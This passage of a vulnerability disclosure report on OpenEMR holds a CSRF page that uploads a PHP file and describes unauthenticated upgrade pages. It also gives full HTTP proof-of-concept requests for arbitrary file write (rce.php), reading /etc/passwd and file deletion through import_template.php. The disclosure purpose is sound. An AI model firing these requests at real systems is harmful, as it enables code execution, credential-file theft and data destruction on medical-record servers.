          "\r\n" +
          "\r\n" +
          "-----11433621228035110981233851750\r\n" +
          "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
          "\r\n" +
          "12000000\r\n" +
          "-----11433621228035110981233851750\r\n" +
          "Content-Disposition: form-data; name=\"form_image\";

```

```

filename="\PoC.php"\r\n" +
  "Content-Type: text/php\r\n" +
  "\r\n" +
  "\x3c?php\n" +
  "  phpinfo();\n" +
  "?\x3e\n" +
  "\r\n" +
  "-----11433621228035110981233851750\r\n" +
  "Content-Disposition: form-data; name=\"form_dest_filename\"\r\n" +
  "\r\n" +
  "\r\n" +
  "-----11433621228035110981233851750\r\n" +
  "Content-Disposition: form-data; name=\"form_education\";
filename=\"\"\r\n" +
  "Content-Type: application/octet-stream\r\n" +
  "\r\n" +
  "\r\n" +
  "-----11433621228035110981233851750\r\n" +
  "Content-Disposition: form-data; name=\"bn_save\"\r\n" +
  "\r\n" +
  "Save\r\n" +
  "-----11433621228035110981233851750--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
  aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
  <input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

```

**Severity: High**

## 8.0 - Unauthenticated Administrative Actions

There are a wide variety of administrative actions an unauthenticated user can perform just by knowing the relative URL path. One of our findings was that an unauthenticated user can run an IPPF upgrade on a remote server by visiting `http://host/<OpenEMR_directory>/ippf_upgrade.php`. Upon visiting `ippf_upgrade.php` a user is prompted with a button that when pressed would begin to convert the databases to UTF8 (provided they aren't encoded already).


OpenEMR IPPF Upgrade

This converts your OpenEMR database to UTF-8 encoding if it is not already, and also converts GCAC issues to the corresponding visit forms. Both of these steps are needed for IPPF sites upgrading from releases prior to 2009-08-27.



Figure 1: ippf\_upgrade.php

In addition to being able to convert the databases an unauthenticated user can perform a version upgrade remotely by visiting `http://host/<OpenEMR_directory>/sql_upgrade.php` and clicking upgrade database.



The screenshot shows a web form titled "OpenEMR Database Upgrade". It contains a dropdown menu with "5.0.1" selected. Below the dropdown is a paragraph of instructions: "Please select the prior release you are converting from: 5.0.1". A second paragraph reads: "If you are unsure or were using a development version between two releases, then choose the older of possible releases." A third paragraph in red text states: "If you are upgrading from a version below 5.0.0 to version 5.0.0 or greater, do note that this upgrade can take anywhere from several minutes to several hours (you will only see a whitescreen until it is complete; do not stop the script before it is complete or you risk corrupting your data)." At the bottom of the form is a button labeled "Upgrade Database".

Figure 2: sql\_upgrade.php

**Severity: Low**

## 9.0 - Arbitrary File Actions in import\_template.php

User input from several POST parameters defined in `import_template.php` is passed through functions without any sanitization allowing an attacker authenticated as a patient to upload, modify, retrieve, or delete files on the system.

### 9.1 - Arbitrary File Write

An attacker authenticated in the patient portal can make a crafted request to upload any type of file, including php, to the system. This could later be used by the attacker to achieve code execution and escalate privileges.

**Severity: High**

#### Vulnerable Code:

```
} else if ($_POST['mode'] == 'save') {  
    file_put_contents($_POST['docid'], $_POST['content']);  
    exit(true);  
}
```

Figure 1: import\_template.php - Lines 30-33

## Proof of Concept:

```
POST /openemr/portal/import_template.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: OpenEMR=vou0isldkeqkb0phpupeb8puf4; PHPSESSID=h6fi8a34its4l1qnfqv4tu08e3
Connection: close
Upgrade-Insecure-Requests: 1

mode=save&docid=rce.php&content=<?php phpinfo();?>
```

## 9.2 - Arbitrary File Read

There is no sanitization, before the user input from *docid* is passed to the `file_get_contents()` function, allowing an attacker to view files on the system outside the web directory, including `/etc/passwd`

**Severity: High**

### Vulnerable Code:

```
if ($_POST['mode'] == 'get') {
    echo file_get_contents($_POST['docid']);
    exit;
}
```

Figure 2: `import_template.php` - Lines 27-29

## Proof of Concept:

```
POST /openemr/portal/import_template.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: OpenEMR=vou0isldkeqkb0phpupeb8puf4; PHPSESSID=h6fi8a34its4l1qnfqv4tu08e3
Connection: close
Upgrade-Insecure-Requests: 1

mode=get&docid=/etc/passwd
```

## 9.3 - Arbitrary File Deletion

---

User input from the *docid* parameter is not sanitized before being passed to the `unlink()` function, allowing an authenticated attacker to delete files on the system.

### Vulnerable Code:

```
} else if ($_POST['mode'] == 'delete') {  
    unlink($_POST['docid']);  
    exit(true);  
}
```

Figure 3: `import_template.php` - Lines 27-29

### Proof of Concept:

```
POST /openemr/portal/import_template.php HTTP/1.1  
Host: hostname  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 56  
Cookie: OpenEMR=vou0isldkeqkb0phpupeb8puf4; PHPSESSID=h6fi8a34its4l1qnfqv4tu08e3  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
mode=delete&docid=filename.php
```

